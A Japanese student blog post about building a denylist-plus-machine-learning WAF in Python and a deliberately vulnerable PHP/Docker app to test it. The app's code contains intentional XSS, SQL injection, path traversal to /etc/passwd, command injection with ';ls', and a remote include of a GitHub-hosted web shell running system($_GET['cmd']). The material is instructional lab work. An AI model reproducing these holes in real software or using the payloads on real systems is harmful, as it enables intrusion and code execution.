WAffle開発記【WAF/Vuln編】
こんにちは、y0d3nです。授業の一環で友人とチームを組んでdenylistと機械学習ベースのWAFを実装したので、成果物の開発機を書こうと思います。
チームは3人。
機械学習編はfutabatoが書いてくれています。そちらも是非読んでみてください。
自分は「WAF/Vuln編」ということで、denylistベースのWAFと、WAFが防御する対象となる脆弱なWebアプリについて書きます。
※
denylist
についてですが、完成間近まではblacklist
でした。
コードの引用時などは変に変更すると面倒なことになりそうなので修正していません。
Signature based WAF
なぜWAF?
"ものづくり"という授業があり、「何かしらの成果物を作る」という感じ。
3人集まったはいいものの、何を作るか決めかねていたらMBSDの募集がそろそろ始まるという情報が。
「ものづくりの授業、MBSDの課題をやろう」
3人でこんなことを言っていました。
しかし、いざ発表された課題はものづくりの授業で作るようなものとは違い、悩んだ末に「去年のMBSDの課題をやろう」となりました。
技術選定
言語
まずは言語。それぞれのメイン言語はバラバラ。
「せっかくなら機械学習ベースのWAF作りたくない?」
ということになり、言語はPythonに決定。
WAFの種類
IPAのWeb Application Firewall 読本に書いてある通りWAFにはいくつかの種類があり、設置場所や通信の遮断方式などが変わってきます。
「まず、WAFってどうやってつくるの・・・?」
という空気になったため、一通り調べた中でイメージがしやすかったリバースプロキシ型にしました。
イメージ
denylistを通過してきたものを機械学習でチェックする感じに決まりました。
中身
リバースプロキシWAFのサンプル(Browse files)
@app.route('/<regex(".*"):path>') def proxy(path): if "<" in path: return render_template('waffle.html') url = "http://localhost:80/"+path r = requests.get(url) return Response(r.content)
手始めに「URLに<
が含まれていたら遮断、そうでないならURLから内容を取得して返す」という動作をするものを作りました。
しかし、URLクエリがチェックされていなかったのでそこもよしなに(Browse files)
query = req.query_string if query != b'' : path += "?" + query.decode()
waffle.html
(遮断された画面)はこんな感じです。
クラスメイトから「めっちゃかっこいい」との感想を頂けたので嬉しい。
もうdenylistベースのWAFが完成したといっても過言ではないですね!(過言)
正規表現で指定できるdenylist(Browse files)
with open("blacklist.txt") as f: bList = [s.strip() for s in f.readlines()] (snip) for val in bList: m = re.match(val, path, re.IGNORECASE) if m != None : return render_template('waffle.html')
denylistをとってきて、パラメータがそれに当てはまるかを正規表現でチェック。
.*<script.*>.*
みたいな感じに入れておくと、scriptタグが含まれるときに遮断できます。
denylistを育てるのはとても面倒なので後回しです。
POSTリクエストに対応(Browse files)
今までの仕様ではURLしか扱っていなかったため、リクエストボディなどは無視されていました。
proxy関数をgetとpostに分け、それぞれ書きます。
(この方法ではリクエストメソッドの数だけ関数を増やさないといけないことに気づいていない。)
@app.route('/<regex(".*"):path>', methods=["GET"]) (snip) @app.route('/<regex(".*"):path>', methods=["POST"]) def post(path): if waf(path, req.get_data().decode()): return render_template('waffle.html') proc = subprocess.run(["curl", "http://localhost:80/"+path, "--data", req.get_data().decode()], stdout=subprocess.PIPE) return Response(proc.stdout)
curlを使うのはアリなのかしばらく悩みましたが、「どう実装するのが正解かわからない」かつ「curlだと手軽に叩ける」となりこれを採用しました。もっとスマートなやり方がありそう。
複数のリクエストメソッドに対応(Browse files)
先述したとおり、このままGET関数、POST関数・・・と増やしていくことになるのですが、とても面倒ですし汚いです。
ということで拡張しやすくしました。
@app.route('/<regex(".*"):path>', methods=["GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE", "PATCH"]) (snip) try : proc = subprocess.run(["curl", "-X", req.method, url+path,"-H","Content-Type:" + req.headers.getlist("Content-Type")[0] , "--data", req.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE) except: proc = subprocess.run(["curl", "-X", req.method, url+path, "--data", req.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE) return Response(proc.stdout)
リクエストボディがないときにボディを参照しようとするとエラーになるため、try & exceptでよしなにしました。(これもまたスマートじゃないと思う)
Cookieに対応(Browse files)
「ほぼ完成してきたのでは?」と思い、保護対象のURLを適当なサービスにしてみたところ(攻撃はしてません)、ログインできないことが発覚。Cookieです。
ということでCookieに対応しました。
cookie = "" for i ,v in request.cookies.items(): cookie += i + "=" + v +";" try : proc = subprocess.run(["curl", "-X", request.method, "-i", "-A", request.user_agent.string, url+path, "-H", "Cookie: " + cookie, "-H", "Content-Type:" + request.headers.getlist("Content-Type")[0] , "--data", request.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE) except: proc = subprocess.run(["curl", "-X", request.method, "-i", "-A", request.user_agent.string, url+path, "-H", "Cookie: " + cookie, "-H", "--data", request.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # HTTPレスポンスをヘッダとボディで分割 splited_res = proc.stdout.split("\r\n\r\n".encode("utf-8"),1) if len(splited_res) == 1: res = make_response("") else : res = make_response(splited_res[1]) # HTTPレスポンスヘッダヘッダからcookieを探してセットする for v in splited_res[0].split("\r\n".encode("utf-8")): if v.startswith(b'Set-Cookie'): s = v.split(":".encode("utf-8"), 1)[1].split("=".encode("utf-8"), 1) res.set_cookie(s[0].decode("utf-8"), s[1].split(";".encode("utf-8"), 1)[0].decode('utf-8')) return res
レスポンスヘッダに含まれるSet-Cookie
を抽出してセットさせています。
ここもまただいぶ試行錯誤して実装していました。
機械学習を組み込む(Browse files)
さて、denylistベースのWAFはほぼ完成です。
futabatoが機械学習をよしなにしてくれているので、正規表現をスルーされた際にprediction
を呼び出すようにします。
is_abnormal = waf(url, path, str(body_data), str(cookie_data)) if is_abnormal == 1: return render_template('waffle.html') (snip) def waf(url, path, body, cookie): if not signature(path, body, cookie): # パターンマッチングで引っかかった場合100%異常とする return 1 return prediction(url + path)
2度目になりますが、prediction
などの機械学習編はfutabatoが書いてくれているのでそちらを参考にしてください。
これでdenylistと機械学習ベースのWAFが完成しました。
Vuln apps
WAFを作るにあたって必要になったのが防御対象のWebアプリケーションです。
私は普段Webセキュリティを中心に勉強しているのでこれも担当することになりました。(ソロ開発なので命名が絶望的に適当な部分があります)
環境
私のメインの言語はGoだったのでGoで作ろうとしましたが、「デフォルトで無効」にされているものが多く、自然に脆弱性を作りこむことが困難だと思い、PHPにしました。
脆弱なWebアプリケーションを自分のマシンでホストするのは嫌だったので、docker-composeでnginxを使いました。
以下の脆弱性を再現しました。
- XSS
- XXE
- SQL Injection
- OS Command Injection
- Path Traversal
- Remote File Inclusion
- Mail Header Injection
XSS
URLクエリパラメータのXSS(Browse file)
これは単純ですね。inputパラメータにXSSを作成しました。
<body> <form action="" method="get"> <input type="text" name="input" size="50" id="input"><br> <input type="button" onclick="document.getElementById('input').value = '<script>alert(1)</script>';" value="attack"><input type="submit" value="送信"> </form> <hr> output: <?php $input = $_GET["input"]; print $input; ?> </body>
リクエストボディのXSS(Browse file)
GETをPOSTにしただけ。
<body> <form method="post"> <input type="text" name="input" size="50" id="input"><br> <input type="button" onclick="document.getElementById('input').value = '<script>alert(1)</script>';" value="attack"><input type="submit" value="送信"> </form> <hr> output: <?php $input = $_POST["input"]; print $input; ?> </body>
XXE
「PHPプログラマのためのXXE入門」を参考に、ファイルアップロードによるXXEを再現しました。
SQL Injection(Browse file)
今度はSQLiです。DBのコンテナを準備します。
docker-compose.ymlに以下を追記。
db: image: mysql environment: MYSQL_ROOT_PASSWORD: docker MYSQL_DATABASE: docker MYSQL_USER: docker MYSQL_PASSWORD: docker ports: - "3306:3306" volumes: - ./containers/mysql/init.sql:/docker-entrypoint-initdb.d/init.sql
ユーザ名やパスワード、DB等は管理が面倒だったので全部docker
にしました。
ビルド時にDBにデータが自動で入るようにするため、init.sql
を作成します。
drop database if exists docker; create database docker; use docker; drop table if exists docker; create table docker ( name char(50), pass char(50) ); insert into docker values ('admin', 'P@ssw0rd'); insert into docker values ('yoden', 'Svp3rS3cr3tP4sswr0d!!!'); insert into docker values ('flag', 'flag{7h1s_1s_f4k3_fl4g}');
テーブル名とカラム名もdocker
です。(チーム開発だとそろそろキレられそう)
sudo docker exec -it <コンテナID> bash
でコンテナに入ってmysql -u docker -p
とかして確認すると、きちんとできてるのが確認できます。
最後にPHPです。
<?php try { $db = new PDO('mysql:host=db;dbname=docker', 'docker', 'docker'); $sql = 'SELECT name,pass FROM docker WHERE name=\'' . $_GET["input"] . '\';'; $stmt = $db->prepare($sql); $stmt->execute(); $result = $stmt->fetchAll(PDO::FETCH_ASSOC); } catch (PDOException $e) { echo $e->getMessage(); exit; } ?> (snip) <form method="GET"> name <input type="text" name="input" size="50" id="input"><br> <input type="button" onclick="document.getElementById('input').value = '\'or 1=1\;--';" value="attack"><input type="submit" value="送信"> </form> <hr> <? echo "<p>$sql</p><table border=\"1\"><tr><th>name</th><th>pass</th>"; foreach( $result as $value ) { echo "<tr><td>$value[name] </td><td>$value[pass]</tt></tr>"; } ?> </table>
SQLiが再現できました。
しかし、作成後「cookieを使った脆弱なページが欲しい」となり、cookieバージョンも作成。
<?php if (!isset($_COOKIE["name"])) { setcookie("name", "yoden"); } if (!isset($_COOKIE["limit"])) { setcookie("limit", 1); } (snip) $sql = 'SELECT name,pass FROM docker WHERE name=\'' . $_COOKIE["name"] . '\' LIMIT ' . $_COOKIE["limit"] . ';'; (snip) <input type="button" onclick="document.cookie='name=\' or 1=1\%3b--';" value="attack">
大半はさっきのコードからの引用で、setcookie
を追加し、SQLの呼び出しではcookieからよしなにするようにしました。
Path Traversal(Browse file)
URLやリクエストボディ、cookieなどを使ったものは既に作ったので、WAFのテストには充分でしたが、折角なので他にもいくつか作りました。
<ul> <li> <a href="?input=index.php">index</a> </li> <li> <a href="?input=/etc/passwd">/etc/passwd</a> </li> <li> <a href="?input=php://filter/convert.base64-encode/resource=index.php">base64(index)</a> </li> <li> <a href="?input=https://raw.githubusercontent.com/futabato/WAffle/main/vuln/etc/shell.txt&cmd=ls">RFI</a> </li> </ul> <hr> <?php if (isset($_GET['input'])) { $file = $_GET['input']; include($file); } ?>
PCFET0NUWVBFIGh0bWw+...
をbase64デコードするとindex.php
のソースになります。
Path Traversalを再現するつもりが、RFIもできてしまってびっくりしました。
指定しているファイルは以下のような感じ。(Browse file)
<?php system($_GET["cmd"]); ?>
https://raw.githubusercontent.com/futabato/WAffle/main/vuln/etc/shell.txtは上記のphpのコードが表示されるテキストファイルですが、これをinclude
するとPHPとして実行されます。
OS Command Injection(Browse file)
<ul> <li> <a href="?input=hello">hello</a> </li> <li> <a href="?input=;ls">ls</a> </li> </ul> <?php if (isset($_GET['input'])) { exec("echo " . $_GET['input'], $output); echo "<pre>"; print_r($output); echo "</pre>"; } ?>
Mail Header Injection
「メールヘッダ・インジェクションの挙動を実際に手を動かして確認した」を参考に、メールヘッダインジェクションを再現しました。
振り返り
複数人で開発するのはほぼ初めてだったのでいい経験になりました。
githubがある程度使えるようになったのが結構嬉しいですね。(コミットメッセージを遡るの楽しい)
個人的にはVulnがCTFの作問に生かせそうで、それも嬉しいです。
最後までご覧いただきありがとうございました。